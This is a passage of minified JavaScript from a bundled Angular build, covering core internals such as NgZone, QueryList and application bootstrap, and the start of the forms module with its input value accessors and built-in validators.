el{constructor(t){super(),this.moduleType=t,null!==ct(t)&&function(t){const e=new Set;!function t(n){const i=ct(n,!0),s=i.id;null!==s&&(function(t,e,n){if(e&&e!==n)throw new Error(`Duplicate module registered for ${t} - ${u(e)} vs ${u(e.name)}`)}(s,ml.get(s),n),ml.set(s,n));const r=ji(i.imports);for(const o of r)e.has(o)||(e.add(o),t(o))}(t)}(t)}create(t){return new gl(this.moduleType,t)}}function vl(t,e,n,i){return xl(Yt(),ee(),t,e,n,i)}function bl(t,e,n,i,s){return function(t,e,n,i,s,r,o){const a=e+n;return co(t,a,s,r)?oo(t,a+2,o?i.call(o,s,r):i(s,r)):wl(t,a+2)}(Yt(),ee(),t,e,n,i,s)}function yl(t,e,n,i,s,r){return function(t,e,n,i,s,r,o,a){const c=e+n;return function(t,e,n,i,s){const r=co(t,e,n,i);return ao(t,e+2,s)||r}(t,c,s,r,o)?oo(t,c+3,a?i.call(a,s,r,o):i(s,r,o)):wl(t,c+3)}(Yt(),ee(),t,e,n,i,s,r)}function wl(t,e){const n=t[e];return n===Ns?void 0:n}function xl(t,e,n,i,s,r){const o=e+n;return ao(t,o,s)?oo(t,o+1,r?i.call(r,s):i(s)):wl(t,o+1)}function Cl(t,e){const n=qt();let i;const s=t+20;n.firstCreatePass?(i=function(t,e){if(e)for(let n=e.length-1;n>=0;n--){const i=e[n];if(t===i.name)return i}throw new g("302",`The pipe '${t}' could not be found!`)}(e,n.pipeRegistry),n.data[s]=i,i.onDestroy&&(n.destroyHooks||(n.destroyHooks=[])).push(s,i.onDestroy)):i=n.data[s];const r=i.factory||(i.factory=_t(i.type)),o=P(fo);try{const t=je(!1),e=r();return je(t),function(t,e,n,i){n>=t.data.length&&(t.data[n]=null,t.blueprint[n]=null),e[n]=i}(n,Yt(),s,e),e}finally{P(o)}}function Sl(t,e,n){const i=t+20,s=Yt(),r=Lt(s,i);return function(t,e){io.isWrapped(e)&&(e=io.unwrap(e),t[ne()]=Ns);return e}(s,function(t,e){return t[1].data[e].pure}(s,i)?xl(s,ee(),e,r.transform,n,r):r.transform(n))}function El(t){return e=>{setTimeout(t,void 0,e)}}const kl=class extends i.xQ{constructor(t=!1){super(),this.__isAsync=t}emit(t){super.next(t)}subscribe(t,e,n){var i,r,o;let a=t,c=e||(()=>null),l=n;if(t&&"object"==typeof t){const e=t;a=null===(i=e.next)||void 0===i?void 0:i.bind(e),c=null===(r=e.error)||void 0===r?void 0:r.bind(e),l=null===(o=e.complete)||void 0===o?void 0:o.bind(e)}this.__isAsync&&(c=El(c),a&&(a=El(a)),l&&(l=El(l)));const u=super.subscribe({next:a,error:c,complete:l});return t instanceof s.w&&t.add(u),u}};function Tl(){return this._results[no()]()}class Al{constructor(t=!1){this._emitDistinctChangesOnly=t,this.dirty=!0,this._results=[],this._changesDetected=!1,this._changes=null,this.length=0,this.first=void 0,this.last=void 0;const e=no(),n=Al.prototype;n[e]||(n[e]=Tl)}get changes(){return this._changes||(this._changes=new kl)}get(t){return this._results[t]}map(t){return this._results.map(t)}filter(t){return this._results.filter(t)}find(t){return this._results.find(t)}reduce(t,e){return this._results.reduce(t,e)}forEach(t){this._results.forEach(t)}some(t){return this._results.some(t)}toArray(){return this._results.slice()}toString(){return this._results.toString()}reset(t,e){const n=this;n.dirty=!1;const i=pn(t);(this._changesDetected=!function(t,e,n){if(t.length!==e.length)return!1;for(let i=0;i<t.length;i++){let s=t[i],r=e[i];if(n&&(s=n(s),r=n(r)),r!==s)return!1}return!0}(n._results,i,e))&&(n._results=i,n.length=i.length,n.last=i[this.length-1],n.first=i[0])}notifyOnChanges(){this._changes&&(this._changesDetected||!this._emitDistinctChangesOnly)&&this._changes.emit(this)}setDirty(){this.dirty=!0}destroy(){this.changes.complete(),this.changes.unsubscribe()}}Symbol;class Il{constructor(t){this.queryList=t,this.matches=null}clone(){return new Il(this.queryList)}setDirty(){this.queryList.setDirty()}}class Ol{constructor(t=[]){this.queries=t}createEmbeddedView(t){const e=t.queries;if(null!==e){const n=null!==t.contentQueries?t.contentQueries[0]:e.length,i=[];for(let t=0;t<n;t++){const n=e.getByIndex(t);i.push(this.queries[n.indexInDeclarationView].clone())}return new Ol(i)}return null}insertView(t){this.dirtyQueriesWithMatches(t)}detachView(t){this.dirtyQueriesWithMatches(t)}dirtyQueriesWithMatches(t){for(let e=0;e<this.queries.length;e++)null!==Yl(t,e).matches&&this.queries[e].setDirty()}}class Rl{constructor(t,e,n=null){this.predicate=t,this.flags=e,this.read=n}}class Pl{constructor(t=[]){this.queries=t}elementStart(t,e){for(let n=0;n<this.queries.length;n++)this.queries[n].elementStart(t,e)}elementEnd(t){for(let e=0;e<this.queries.length;e++)this.queries[e].elementEnd(t)}embeddedTView(t){let e=null;for(let n=0;n<this.length;n++){const i=null!==e?e.length:0,s=this.getByIndex(n).embeddedTView(t,i);s&&(s.indexInDeclarationView=n,null!==e?e.push(s):e=[s])}return null!==e?new Pl(e):null}template(t,e){for(let n=0;n<this.queries.length;n++)this.queries[n].template(t,e)}getByIndex(t){return this.queries[t]}get length(){return this.queries.length}track(t){this.queries.push(t)}}class Nl{constructor(t,e=-1){this.metadata=t,this.matches=null,this.indexInDeclarationView=-1,this.crossesNgTemplate=!1,this._appliesToNextNode=!0,this._declarationNodeIndex=e}elementStart(t,e){this.isApplyingToNode(e)&&this.matchTNode(t,e)}elementEnd(t){this._declarationNodeIndex===t.index&&(this._appliesToNextNode=!1)}template(t,e){this.elementStart(t,e)}embeddedTView(t,e){return this.isApplyingToNode(t)?(this.crossesNgTemplate=!0,this.addMatch(-t.index,e),new Nl(this.metadata)):null}isApplyingToNode(t){if(this._appliesToNextNode&&1!=(1&this.metadata.flags)){const e=this._declarationNodeIndex;let n=t.parent;for(;null!==n&&8&n.type&&n.index!==e;)n=n.parent;return e===(null!==n?n.index:-1)}return this._appliesToNextNode}matchTNode(t,e){const n=this.metadata.predicate;if(Array.isArray(n))for(let i=0;i<n.length;i++){const s=n[i];this.matchTNodeWithReadOption(t,e,Dl(e,s)),this.matchTNodeWithReadOption(t,e,Xe(e,t,s,!1,!1))}else n===Jc?4&e.type&&this.matchTNodeWithReadOption(t,e,-1):this.matchTNodeWithReadOption(t,e,Xe(e,t,n,!1,!1))}matchTNodeWithReadOption(t,e,n){if(null!==n){const i=this.metadata.read;if(null!==i)if(i===bc||i===il||i===Jc&&4&e.type)this.addMatch(e.index,-2);else{const n=Xe(e,t,i,!1,!1);null!==n&&this.addMatch(e.index,n)}else this.addMatch(e.index,n)}}addMatch(t,e){null===this.matches?this.matches=[t,e]:this.matches.push(t,e)}}function Dl(t,e){const n=t.localNames;if(null!==n)for(let i=0;i<n.length;i+=2)if(n[i]===e)return n[i+1];return null}function Ll(t,e,n,i){return-1===n?function(t,e){return 11&t.type?_c(t,e):4&t.type?Xc(t,e):null}(e,t):-2===n?function(t,e,n){return n===bc?_c(e,t):n===Jc?Xc(e,t):n===il?cl(e,t):void 0}(t,e,i):tn(t,t[1],n,e)}function Ml(t,e,n,i){const s=e[19].queries[i];if(null===s.matches){const i=t.data,r=n.matches,o=[];for(let t=0;t<r.length;t+=2){const s=r[t];o.push(s<0?null:Ll(e,i[s],r[t+1],n.metadata.read))}s.matches=o}return s.matches}function Fl(t,e,n,i){const s=t.queries.getByIndex(n),r=s.matches;if(null!==r){const o=Ml(t,e,s,n);for(let t=0;t<r.length;t+=2){const n=r[t];if(n>0)i.push(o[t/2]);else{const s=r[t+1],o=e[-n];for(let t=10;t<o.length;t++){const e=o[t];e[17]===e[3]&&Fl(e[1],e,s,i)}if(null!==o[9]){const t=o[9];for(let e=0;e<t.length;e++){const n=t[e];Fl(n[1],n,s,i)}}}}}return i}function Ul(t){const e=Yt(),n=qt(),i=le();ue(i+1);const s=Yl(n,i);if(t.dirty&&Ft(e)===(2==(2&s.metadata.flags))){if(null===s.matches)t.reset([]);else{const r=s.crossesNgTemplate?Fl(n,e,i,[]):Ml(n,e,s,i);t.reset(r,yc),t.notifyOnChanges()}return!0}return!1}function Bl(t,e,n){const i=qt();i.firstCreatePass&&(Gl(i,new Rl(t,e,n),-1),2==(2&e)&&(i.staticViewQueries=!0)),Vl(i,Yt(),e)}function jl(t,e,n,i){const s=qt();if(s.firstCreatePass){const r=zt();Gl(s,new Rl(e,n,i),r.index),function(t,e){const n=t.contentQueries||(t.contentQueries=[]);e!==(n.length?n[n.length-1]:-1)&&n.push(t.queries.length-1,e)}(s,t),2==(2&n)&&(s.staticContentQueries=!0)}Vl(s,Yt(),n)}function Hl(){return t=Yt(),e=le(),t[19].queries[e].queryList;var t,e}function Vl(t,e,n){const i=new Al(4==(4&n));nr(t,e,i,i.destroy),null===e[19]&&(e[19]=new Ol),e[19].queries.push(new Il(i))}function Gl(t,e,n){null===t.queries&&(t.queries=new Pl),t.queries.track(new Nl(e,n))}function Yl(t,e){return t.queries.getByIndex(e)}function ql(t,e){return Xc(t,e)}const $l=new un("Application Initializer");let zl=(()=>{class t{constructor(t){this.appInits=t,this.resolve=gc,this.reject=gc,this.initialized=!1,this.done=!1,this.donePromise=new Promise((t,e)=>{this.resolve=t,this.reject=e})}runInitializers(){if(this.initialized)return;const t=[],e=()=>{this.done=!0,this.resolve()};if(this.appInits)for(let n=0;n<this.appInits.length;n++){const e=this.appInits[n]();if(Eo(e))t.push(e);else if(To(e)){const n=new Promise((t,n)=>{e.subscribe({complete:t,error:n})});t.push(n)}}Promise.all(t).then(()=>{e()}).catch(t=>{this.reject(t)}),0===t.length&&e(),this.initialized=!0}}return t.\u0275fac=function(e){return new(e||t)(On($l,8))},t.\u0275prov=w({token:t,factory:t.\u0275fac}),t})();const Zl=new un("AppId"),Wl={provide:Zl,useFactory:function(){return`${Jl()}${Jl()}${Jl()}`},deps:[]};function Jl(){return String.fromCharCode(97+Math.floor(25*Math.random()))}const Ql=new un("Platform Initializer"),Kl=new un("Platform ID"),Xl=new un("appBootstrapListener");let tu=(()=>{class t{log(t){console.log(t)}warn(t){console.warn(t)}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=w({token:t,factory:t.\u0275fac}),t})();const eu=new un("LocaleId"),nu=new un("DefaultCurrencyCode");class iu{constructor(t,e){this.ngModuleFactory=t,this.componentFactories=e}}const su=function(t){return new _l(t)},ru=su,ou=function(t){return Promise.resolve(su(t))},au=function(t){const e=su(t),n=ji(ct(t).declarations).reduce((t,e)=>{const n=at(e);return n&&t.push(new pl(n)),t},[]);return new iu(e,n)},cu=au,lu=function(t){return Promise.resolve(au(t))};let uu=(()=>{class t{constructor(){this.compileModuleSync=ru,this.compileModuleAsync=ou,this.compileModuleAndAllComponentsSync=cu,this.compileModuleAndAllComponentsAsync=lu}clearCache(){}clearCacheFor(t){}getModuleId(t){}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=w({token:t,factory:t.\u0275fac}),t})();const hu=(()=>Promise.resolve(0))();function du(t){"undefined"==typeof Zone?hu.then(()=>{t&&t.apply(null,null)}):Zone.current.scheduleMicroTask("scheduleMicrotask",t)}class pu{constructor({enableLongStackTrace:t=!1,shouldCoalesceEventChangeDetection:e=!1,shouldCoalesceRunChangeDetection:n=!1}){if(this.hasPendingMacrotasks=!1,this.hasPendingMicrotasks=!1,this.isStable=!0,this.onUnstable=new kl(!1),this.onMicrotaskEmpty=new kl(!1),this.onStable=new kl(!1),this.onError=new kl(!1),"undefined"==typeof Zone)throw new Error("In this configuration Angular requires Zone.js");Zone.assertZonePatched();const i=this;i._nesting=0,i._outer=i._inner=Zone.current,Zone.TaskTrackingZoneSpec&&(i._inner=i._inner.fork(new Zone.TaskTrackingZoneSpec)),t&&Zone.longStackTraceZoneSpec&&(i._inner=i._inner.fork(Zone.longStackTraceZoneSpec)),i.shouldCoalesceEventChangeDetection=!n&&e,i.shouldCoalesceRunChangeDetection=n,i.lastRequestAnimationFrameId=-1,i.nativeRequestAnimationFrame=function(){let t=j.requestAnimationFrame,e=j.cancelAnimationFrame;if("undefined"!=typeof Zone&&t&&e){const n=t[Zone.__symbol__("OriginalDelegate")];n&&(t=n);const i=e[Zone.__symbol__("OriginalDelegate")];i&&(e=i)}return{nativeRequestAnimationFrame:t,nativeCancelAnimationFrame:e}}().nativeRequestAnimationFrame,function(t){const e=()=>{!function(t){t.isCheckStableRunning||-1!==t.lastRequestAnimationFrameId||(t.lastRequestAnimationFrameId=t.nativeRequestAnimationFrame.call(j,()=>{t.fakeTopEventTask||(t.fakeTopEventTask=Zone.root.scheduleEventTask("fakeTopEventTask",()=>{t.lastRequestAnimationFrameId=-1,gu(t),t.isCheckStableRunning=!0,mu(t),t.isCheckStableRunning=!1},void 0,()=>{},()=>{})),t.fakeTopEventTask.invoke()}),gu(t))}(t)};t._inner=t._inner.fork({name:"angular",properties:{isAngularZone:!0},onInvokeTask:(n,i,s,r,o,a)=>{try{return _u(t),n.invokeTask(s,r,o,a)}finally{(t.shouldCoalesceEventChangeDetection&&"eventTask"===r.type||t.shouldCoalesceRunChangeDetection)&&e(),vu(t)}},onInvoke:(n,i,s,r,o,a,c)=>{try{return _u(t),n.invoke(s,r,o,a,c)}finally{t.shouldCoalesceRunChangeDetection&&e(),vu(t)}},onHasTask:(e,n,i,s)=>{e.hasTask(i,s),n===i&&("microTask"==s.change?(t._hasPendingMicrotasks=s.microTask,gu(t),mu(t)):"macroTask"==s.change&&(t.hasPendingMacrotasks=s.macroTask))},onHandleError:(e,n,i,s)=>(e.handleError(i,s),t.runOutsideAngular(()=>t.onError.emit(s)),!1)})}(i)}static isInAngularZone(){return!0===Zone.current.get("isAngularZone")}static assertInAngularZone(){if(!pu.isInAngularZone())throw new Error("Expected to be in Angular Zone, but it is not!")}static assertNotInAngularZone(){if(pu.isInAngularZone())throw new Error("Expected to not be in Angular Zone, but it is!")}run(t,e,n){return this._inner.run(t,e,n)}runTask(t,e,n,i){const s=this._inner,r=s.scheduleEventTask("NgZoneEvent: "+i,t,fu,gc,gc);try{return s.runTask(r,e,n)}finally{s.cancelTask(r)}}runGuarded(t,e,n){return this._inner.runGuarded(t,e,n)}runOutsideAngular(t){return this._outer.run(t)}}const fu={};function mu(t){if(0==t._nesting&&!t.hasPendingMicrotasks&&!t.isStable)try{t._nesting++,t.onMicrotaskEmpty.emit(null)}finally{if(t._nesting--,!t.hasPendingMicrotasks)try{t.runOutsideAngular(()=>t.onStable.emit(null))}finally{t.isStable=!0}}}function gu(t){t.hasPendingMicrotasks=!!(t._hasPendingMicrotasks||(t.shouldCoalesceEventChangeDetection||t.shouldCoalesceRunChangeDetection)&&-1!==t.lastRequestAnimationFrameId)}function _u(t){t._nesting++,t.isStable&&(t.isStable=!1,t.onUnstable.emit(null))}function vu(t){t._nesting--,mu(t)}class bu{constructor(){this.hasPendingMicrotasks=!1,this.hasPendingMacrotasks=!1,this.isStable=!0,this.onUnstable=new kl,this.onMicrotaskEmpty=new kl,this.onStable=new kl,this.onError=new kl}run(t,e,n){return t.apply(e,n)}runGuarded(t,e,n){return t.apply(e,n)}runOutsideAngular(t){return t()}runTask(t,e,n,i){return t.apply(e,n)}}let yu=(()=>{class t{constructor(t){this._ngZone=t,this._pendingCount=0,this._isZoneStable=!0,this._didWork=!1,this._callbacks=[],this.taskTrackingZone=null,this._watchAngularEvents(),t.run(()=>{this.taskTrackingZone="undefined"==typeof Zone?null:Zone.current.get("TaskTrackingZone")})}_watchAngularEvents(){this._ngZone.onUnstable.subscribe({next:()=>{this._didWork=!0,this._isZoneStable=!1}}),this._ngZone.runOutsideAngular(()=>{this._ngZone.onStable.subscribe({next:()=>{pu.assertNotInAngularZone(),du(()=>{this._isZoneStable=!0,this._runCallbacksIfReady()})}})})}increasePendingRequestCount(){return this._pendingCount+=1,this._didWork=!0,this._pendingCount}decreasePendingRequestCount(){if(this._pendingCount-=1,this._pendingCount<0)throw new Error("pending async requests below zero");return this._runCallbacksIfReady(),this._pendingCount}isStable(){return this._isZoneStable&&0===this._pendingCount&&!this._ngZone.hasPendingMacrotasks}_runCallbacksIfReady(){if(this.isStable())du(()=>{for(;0!==this._callbacks.length;){let t=this._callbacks.pop();clearTimeout(t.timeoutId),t.doneCb(this._didWork)}this._didWork=!1});else{let t=this.getPendingTasks();this._callbacks=this._callbacks.filter(e=>!e.updateCb||!e.updateCb(t)||(clearTimeout(e.timeoutId),!1)),this._didWork=!0}}getPendingTasks(){return this.taskTrackingZone?this.taskTrackingZone.macroTasks.map(t=>({source:t.source,creationLocation:t.creationLocation,data:t.data})):[]}addCallback(t,e,n){let i=-1;e&&e>0&&(i=setTimeout(()=>{this._callbacks=this._callbacks.filter(t=>t.timeoutId!==i),t(this._didWork,this.getPendingTasks())},e)),this._callbacks.push({doneCb:t,timeoutId:i,updateCb:n})}whenStable(t,e,n){if(n&&!this.taskTrackingZone)throw new Error('Task tracking zone is required when passing an update callback to whenStable(). Is "zone.js/plugins/task-tracking" loaded?');this.addCallback(t,e,n),this._runCallbacksIfReady()}getPendingRequestCount(){return this._pendingCount}findProviders(t,e,n){return[]}}return t.\u0275fac=function(e){return new(e||t)(On(pu))},t.\u0275prov=w({token:t,factory:t.\u0275fac}),t})(),wu=(()=>{class t{constructor(){this._applications=new Map,Su.addToWindow(this)}registerApplication(t,e){this._applications.set(t,e)}unregisterApplication(t){this._applications.delete(t)}unregisterAllApplications(){this._applications.clear()}getTestability(t){return this._applications.get(t)||null}getAllTestabilities(){return Array.from(this._applications.values())}getAllRootElements(){return Array.from(this._applications.keys())}findTestabilityInTree(t,e=!0){return Su.findTestabilityInTree(this,t,e)}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=w({token:t,factory:t.\u0275fac}),t})();class xu{addToWindow(t){}findTestabilityInTree(t,e,n){return null}}function Cu(t){Su=t}let Su=new xu,Eu=!0,ku=!1;function Tu(){return ku=!0,Eu}function Au(){if(ku)throw new Error("Cannot enable prod mode after platform setup.");Eu=!1}let Iu;const Ou=new un("AllowMultipleToken");class Ru{constructor(t,e){this.name=t,this.token=e}}function Pu(t,e,n=[]){const i=`Platform: ${e}`,s=new un(i);return(e=[])=>{let r=Nu();if(!r||r.injector.get(Ou,!1))if(t)t(n.concat(e).concat({provide:s,useValue:!0}));else{const t=n.concat(e).concat({provide:s,useValue:!0},{provide:Lr,useValue:"platform"});!function(t){if(Iu&&!Iu.destroyed&&!Iu.injector.get(Ou,!1))throw new Error("There can be only one platform. Destroy the previous one to create a new one.");Iu=t.get(Du);const e=t.get(Ql,null);e&&e.forEach(t=>t())}(Zr.create({providers:t,name:i}))}return function(t){const e=Nu();if(!e)throw new Error("No platform exists!");if(!e.injector.get(t,null))throw new Error("A platform with a different configuration has been created. Please destroy it first.");return e}(s)}}function Nu(){return Iu&&!Iu.destroyed?Iu:null}let Du=(()=>{class t{constructor(t){this._injector=t,this._modules=[],this._destroyListeners=[],this._destroyed=!1}bootstrapModuleFactory(t,e){const n=function(t,e){let n;return n="noop"===t?new bu:("zone.js"===t?void 0:t)||new pu({enableLongStackTrace:Tu(),shouldCoalesceEventChangeDetection:!!(null==e?void 0:e.ngZoneEventCoalescing),shouldCoalesceRunChangeDetection:!!(null==e?void 0:e.ngZoneRunCoalescing)}),n}(e?e.ngZone:void 0,{ngZoneEventCoalescing:e&&e.ngZoneEventCoalescing||!1,ngZoneRunCoalescing:e&&e.ngZoneRunCoalescing||!1}),i=[{provide:pu,useValue:n}];return n.run(()=>{const s=Zr.create({providers:i,parent:this.injector,name:t.moduleType.name}),r=t.create(s),o=r.injector.get(Mi,null);if(!o)throw new Error("No ErrorHandler. Is platform module (BrowserModule) included?");return n.runOutsideAngular(()=>{const t=n.onError.subscribe({next:t=>{o.handleError(t)}});r.onDestroy(()=>{Fu(this._modules,r),t.unsubscribe()})}),function(t,n,i){try{const e=i();return Eo(e)?e.catch(e=>{throw n.runOutsideAngular(()=>t.handleError(e)),e}):e}catch(e){throw n.runOutsideAngular(()=>t.handleError(e)),e}}(o,n,()=>{const t=r.injector.get(zl);return t.runInitializers(),t.donePromise.then(()=>(Ea(r.injector.get(eu,ya)||ya),this._moduleDoBootstrap(r),r))})})}bootstrapModule(t,e=[]){const n=Lu({},e);return function(t,e,n){const i=new _l(n);return Promise.resolve(i)}(0,0,t).then(t=>this.bootstrapModuleFactory(t,n))}_moduleDoBootstrap(t){const e=t.injector.get(Mu);if(t._bootstrapComponents.length>0)t._bootstrapComponents.forEach(t=>e.bootstrap(t));else{if(!t.instance.ngDoBootstrap)throw new Error(`The module ${u(t.instance.constructor)} was bootstrapped, but it does not declare "@NgModule.bootstrap" components nor a "ngDoBootstrap" method. Please define one of these.`);t.instance.ngDoBootstrap(e)}this._modules.push(t)}onDestroy(t){this._destroyListeners.push(t)}get injector(){return this._injector}destroy(){if(this._destroyed)throw new Error("The platform has already been destroyed!");this._modules.slice().forEach(t=>t.destroy()),this._destroyListeners.forEach(t=>t()),this._destroyed=!0}get destroyed(){return this._destroyed}}return t.\u0275fac=function(e){return new(e||t)(On(Zr))},t.\u0275prov=w({token:t,factory:t.\u0275fac}),t})();function Lu(t,e){return Array.isArray(e)?e.reduce(Lu,t):Object.assign(Object.assign({},t),e)}let Mu=(()=>{class t{constructor(t,e,n,i,s){this._zone=t,this._injector=e,this._exceptionHandler=n,this._componentFactoryResolver=i,this._initStatus=s,this._bootstrapListeners=[],this._views=[],this._runningTick=!1,this._stable=!0,this.componentTypes=[],this.components=[],this._onMicrotaskEmptySubscription=this._zone.onMicrotaskEmpty.subscribe({next:()=>{this._zone.run(()=>{this.tick()})}});const c=new r.y(t=>{this._stable=this._zone.isStable&&!this._zone.hasPendingMacrotasks&&!this._zone.hasPendingMicrotasks,this._zone.runOutsideAngular(()=>{t.next(this._stable),t.complete()})}),l=new r.y(t=>{let e;this._zone.runOutsideAngular(()=>{e=this._zone.onStable.subscribe(()=>{pu.assertNotInAngularZone(),du(()=>{!this._stable&&!this._zone.hasPendingMacrotasks&&!this._zone.hasPendingMicrotasks&&(this._stable=!0,t.next(!0))})})});const n=this._zone.onUnstable.subscribe(()=>{pu.assertInAngularZone(),this._stable&&(this._stable=!1,this._zone.runOutsideAngular(()=>{t.next(!1)}))});return()=>{e.unsubscribe(),n.unsubscribe()}});this.isStable=(0,o.T)(c,l.pipe((0,a.B)()))}bootstrap(t,e){if(!this._initStatus.done)throw new Error("Cannot bootstrap as there are still asynchronous initializers running. Bootstrap components in the `ngDoBootstrap` method of the root module.");let n;n=t instanceof dc?t:this._componentFactoryResolver.resolveComponentFactory(t),this.componentTypes.push(n.componentType);const i=function(t){return t.isBoundToModule}(n)?void 0:this._injector.get(tl),s=n.create(Zr.NULL,[],e||n.selector,i),r=s.location.nativeElement,o=s.injector.get(yu,null),a=o&&s.injector.get(wu);return o&&a&&a.registerApplication(r,o),s.onDestroy(()=>{this.detachView(s.hostView),Fu(this.components,s),a&&a.unregisterApplication(r)}),this._loadComponent(s),s}tick(){if(this._runningTick)throw new Error("ApplicationRef.tick is called recursively");try{this._runningTick=!0;for(let t of this._views)t.detectChanges()}catch(t){this._zone.runOutsideAngular(()=>this._exceptionHandler.handleError(t))}finally{this._runningTick=!1}}attachView(t){const e=t;this._views.push(e),e.attachToAppRef(this)}detachView(t){const e=t;Fu(this._views,e),e.detachFromAppRef()}_loadComponent(t){this.attachView(t.hostView),this.tick(),this.components.push(t),this._injector.get(Xl,[]).concat(this._bootstrapListeners).forEach(e=>e(t))}ngOnDestroy(){this._views.slice().forEach(t=>t.destroy()),this._onMicrotaskEmptySubscription.unsubscribe()}get viewCount(){return this._views.length}}return t.\u0275fac=function(e){return new(e||t)(On(pu),On(Zr),On(Mi),On(mc),On(zl))},t.\u0275prov=w({token:t,factory:t.\u0275fac}),t})();function Fu(t,e){const n=t.indexOf(e);n>-1&&t.splice(n,1)}class Uu{}class Bu{}const ju={factoryPathPrefix:"",factoryPathSuffix:".ngfactory"};let Hu=(()=>{class t{constructor(t,e){this._compiler=t,this._config=e||ju}load(t){return this.loadAndCompile(t)}loadAndCompile(t){let[e,i]=t.split("#");return void 0===i&&(i="default"),n(12027)(e).then(t=>t[i]).then(t=>Vu(t,e,i)).then(t=>this._compiler.compileModuleAsync(t))}loadFactory(t){let[e,i]=t.split("#"),s="NgFactory";return void 0===i&&(i="default",s=""),n(12027)(this._config.factoryPathPrefix+e+this._config.factoryPathSuffix).then(t=>t[i+s]).then(t=>Vu(t,e,i))}}return t.\u0275fac=function(e){return new(e||t)(On(uu),On(Bu,8))},t.\u0275prov=w({token:t,factory:t.\u0275fac}),t})();function Vu(t,e,n){if(!t)throw new Error(`Cannot find '${n}' in '${e}'`);return t}const Gu=function(t){return null},Yu=Pu(null,"core",[{provide:Kl,useValue:"unknown"},{provide:Du,deps:[Zr]},{provide:wu,deps:[]},{provide:tu,deps:[]}]),qu=[{provide:Mu,useClass:Mu,deps:[pu,Zr,Mi,mc,zl]},{provide:dl,deps:[pu],useFactory:function(t){let e=[];return t.onStable.subscribe(()=>{for(;e.length;)e.pop()()}),function(t){e.push(t)}}},{provide:zl,useClass:zl,deps:[[new Fn,$l]]},{provide:uu,useClass:uu,deps:[]},Wl,{provide:Uc,useFactory:function(){return zc},deps:[]},{provide:jc,useFactory:function(){return Zc},deps:[]},{provide:eu,useFactory:function(t){return Ea(t=t||"undefined"!=typeof $localize&&$localize.locale||ya),t},deps:[[new Mn(eu),new Fn,new Un]]},{provide:nu,useValue:"USD"}];let $u=(()=>{class t{constructor(t){}}return t.\u0275fac=function(e){return new(e||t)(On(Mu))},t.\u0275mod=nt({type:t}),t.\u0275inj=x({providers:qu}),t})()},1707:function(t,e,n){"use strict";n.d(e,{Zs:function(){return Dt},gN:function(){return G},Fj:function(){return p},qu:function(){return Yt},NI:function(){return mt},oH:function(){return Et},u:function(){return It},sg:function(){return Tt},u5:function(){return Vt},nD:function(){return Ut},wO:function(){return Mt},Cf:function(){return g},JU:function(){return u},a5:function(){return Y},JJ:function(){return $},JL:function(){return z},F:function(){return yt},c5:function(){return jt},UX:function(){return Gt},Q7:function(){return Nt},kI:function(){return b},_Y:function(){return wt}});var i=n(2316),s=n(54364),r=n(30400),o=n(42720),a=n(33927);let c=(()=>{class t{constructor(t,e){this._renderer=t,this._elementRef=e,this.onChange=t=>{},this.onTouched=()=>{}}setProperty(t,e){this._renderer.setProperty(this._elementRef.nativeElement,t,e)}registerOnTouched(t){this.onTouched=t}registerOnChange(t){this.onChange=t}setDisabledState(t){this.setProperty("disabled",t)}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(i.Qsj),i.Y36(i.SBq))},t.\u0275dir=i.lG2({type:t}),t})(),l=(()=>{class t extends c{}return t.\u0275fac=function(){let e;return function(n){return(e||(e=i.n5z(t)))(n||t)}}(),t.\u0275dir=i.lG2({type:t,features:[i.qOj]}),t})();const u=new i.OlP("NgValueAccessor"),h={provide:u,useExisting:(0,i.Gpc)(()=>p),multi:!0},d=new i.OlP("CompositionEventMode");let p=(()=>{class t extends c{constructor(t,e,n){super(t,e),this._compositionMode=n,this._composing=!1,null==this._compositionMode&&(this._compositionMode=!function(){const t=(0,s.q)()?(0,s.q)().getUserAgent():"";return/android (\d+)/.test(t.toLowerCase())}())}writeValue(t){this.setProperty("value",null==t?"":t)}_handleInput(t){(!this._compositionMode||this._compositionMode&&!this._composing)&&this.onChange(t)}_compositionStart(){this._composing=!0}_compositionEnd(t){this._composing=!1,this._compositionMode&&this.onChange(t)}}return t.\u0275fac=function(e){return new(e||t)(i.Y36(i.Qsj),i.Y36(i.SBq),i.Y36(d,8))},t.\u0275dir=i.lG2({type:t,selectors:[["input","formControlName","",3,"type","checkbox"],["textarea","formControlName",""],["input","formControl","",3,"type","checkbox"],["textarea","formControl",""],["input","ngModel","",3,"type","checkbox"],["textarea","ngModel",""],["","ngDefaultControl",""]],hostBindings:function(t,e){1&t&&i.NdJ("input",function(t){return e._handleInput(t.target.value)})("blur",function(){return e.onTouched()})("compositionstart",function(){return e._compositionStart()})("compositionend",function(t){return e._compositionEnd(t.target.value)})},features:[i._Bn([h]),i.qOj]}),t})();function f(t){return null==t||0===t.length}function m(t){return null!=t&&"number"==typeof t.length}const g=new i.OlP("NgValidators"),_=new i.OlP("NgAsyncValidators"),v=/^(?=.{1,254}$)(?=.{1,64}@)[a-zA-Z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-zA-Z0-9!#$%&'*+/=?^_`{|}~-]+)*@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/;class b{static min(t){return e=t,t=>{if(f(t.value)||f(e))return null;const n=parseFloat(t.value);return!isNaN(n)&&n<e?{min:{min:e,actual:t.value}}:null};var e}static max(t){return e=t,t=>{if(f(t.value)||f(e))return null;const n=parseFloat(t.value);return!isNaN(n)&&n>e?{max:{max:e,actual:t.value}}:null};var e}static required(t){return y(t)}static requiredTrue(t){return w(t)}static email(t){return f((e=t).value)||v.test(e.value)?null:{email:!0};var e}static minLength(t){return x(t)}static maxLength(t){return C(t)}static pattern(t){return S(t)}static nullValidator(t){return null}static compose(t){return R(t)}static composeAsync(t){return N(t)}}function y(t){return f(t.value)?{required:!0}:null}function w(t){return!0===t.value?null:{required:!0}}function x(t){return e=>f(e.value)||!m(e.value)?null:e.value.length<t?{minlength:{requiredLength:t,actualLength:e.value.length}}:null}function C(t){return e=>m(e.value)&&e.value.length>t?{maxlength:{requiredLength:t,actualLength:e.value.length}}:null}function S(t){if(!t)return E;let e,n;return"string"==typeof t?(n="","^"!==t.charAt(0)&&(n+="^"),n+=t,"$"!==t.charAt(t.length-1)&&(n+="$"),e=new 